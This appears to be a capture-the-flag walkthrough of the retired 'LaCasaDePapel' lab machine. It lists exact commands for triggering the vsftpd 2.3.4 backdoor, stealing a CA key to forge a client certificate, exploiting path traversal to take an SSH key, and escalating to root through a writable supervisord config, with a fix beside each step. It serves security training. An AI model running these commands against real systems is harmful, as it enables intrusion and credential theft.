LaCasaDePapel
Summary
I scanned the target, recognised the FTP server as vsftpd 2.3.4—a version that ships with a deliberate backdoor—and triggered that backdoor to open an unauthenticated PHP interactive shell on port 6200. Through that shell, native PHP file-read functions were used to steal the HTTPS server's TLS Certificate Authority private key from disk. The stolen key was used to forge a trusted client certificate, bypassing the mutual-TLS gate on the admin web panel.
A path-traversal vulnerability in the panel then exposed a user's SSH private key, enabling login as the professor account. Finally, I overwrote a supervisord configuration file that a root-owned process re-executed automatically, achieving full root access in under one polling cycle.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"Attack path — how the box was taken
Exact commands 2
Fast discovery scan to confirm open ports.
$ nmap -Pn -p21,22,80,443,6200 --open --min-rate 5000 $TARGETVersion and default-script scan to pull service banners.
$ nmap -Pn -sV -sC -p21,22,80,443 $TARGETExact commands 2
Sends the backdoor trigger. The :) in the username activates the backdoor listener on port 6200.
$ printf 'USER pwn:\x29\r\nPASS pwn\r\n' | nc -w 2 $TARGET 21Connects to the backdoor shell that opened; confirms the Psy Shell prompt.
$ nc -w 5 $TARGET 6200FixReplace vsftpd 2.3.4 — this version ships with a deliberate backdoorCritical
Exact commands 2
Lists home directories to identify user accounts.
$ printf 'print_r(scandir("/home"));\n' | nc -w 5 $TARGET 6200Reads and saves the CA private key. Strip the Psy Shell banner from the top of the output before using the key.
$ printf 'echo file_get_contents("/home/nairobi/ca.key");\n' | nc -w 5 $TARGET 6200 | grep -A200 'BEGIN' > /tmp/lcdp_ca.keyFixRemove or firewall the unauthenticated PHP interactive shell on port 6200Critical
Exact commands 4
Saves the server's CA certificate from the live TLS handshake.
$ openssl s_client -connect $TARGET:443 -showcerts -servername lacasadepapel.htb </dev/null 2>/dev/null | awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/{print}' > /tmp/lcdp_server_chain.pemGenerates a fresh key pair and CSR for the forged client certificate.
$ openssl req -newkey rsa:2048 -nodes -keyout /tmp/lcdp_client.key -out /tmp/lcdp_client.csr -subj "/CN=$USERNAME/O=La Casa De Papel" 2>/dev/nullSigns the CSR with the stolen CA key, producing a certificate the server trusts.
$ openssl x509 -req -in /tmp/lcdp_client.csr -CA /tmp/lcdp_server_chain.pem -CAkey /tmp/lcdp_ca.key -CAcreateserial -out /tmp/lcdp_client.crt -days 365 2>/dev/nullConfirms the admin panel is now accessible.
$ curl -sk --resolve lacasadepapel.htb:443:$TARGET --cert /tmp/lcdp_client.crt --key /tmp/lcdp_client.key https://lacasadepapel.htb/FixRestrict access to the TLS Certificate Authority private keyHigh
Exact commands 2
Reads professor's SSH private key via directory traversal. Adjust the relative path for other users if needed.
$ b=$(printf '%s' '../../professor/.ssh/id_rsa' | base64 -w0); curl -sk --resolve lacasadepapel.htb:443:$TARGET --cert /tmp/lcdp_client.crt --key /tmp/lcdp_client.key "https://lacasadepapel.htb/file/$b" -o /tmp/lcdp_professor_id_rsaSSH client requires the key file to be owner-readable only.
$ chmod 600 /tmp/lcdp_professor_id_rsaFixFix the path-traversal vulnerability in the HTTPS file-serving endpointHigh
Exact commands 2
Logs in as professor with the stolen key; no password needed.
$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /tmp/lcdp_professor_id_rsa professor@$TARGETRetrieves the user flag: <user.txt>
$ cat ~/user.txtExact commands 3
Replaces the supervisord config with a malicious payload. Wait ~60 seconds for supervisord to reload it.
$ ssh -o StrictHostKeyChecking=no -i /tmp/lcdp_professor_id_rsa professor@$TARGET 'cat > /home/professor/memcached.ini <<EOF
[program:memcached]
command = /bin/sh -c "cp /bin/busybox /tmp/rootbox; chmod 4755 /tmp/rootbox; cat /root/root.txt > /tmp/rootflag"
EOF'Reads the root flag after payload execution: <root.txt>
$ ssh -o StrictHostKeyChecking=no -i /tmp/lcdp_professor_id_rsa professor@$TARGET 'cat /tmp/rootflag'Alternative: use the SUID BusyBox copy to spawn a root shell interactively.
$ /tmp/rootbox sh -pFixRemove write access to supervisord configuration files from unprivileged usersCritical
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 21/tcp | ftp vsftpd 2.3.4 |
| 22/tcp | ssh OpenSSH 7.9 (protocol 2.0) |
| 80/tcp | http Node.js (Express middleware) |
| 443/tcp | ssl/http Node.js Express framework |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.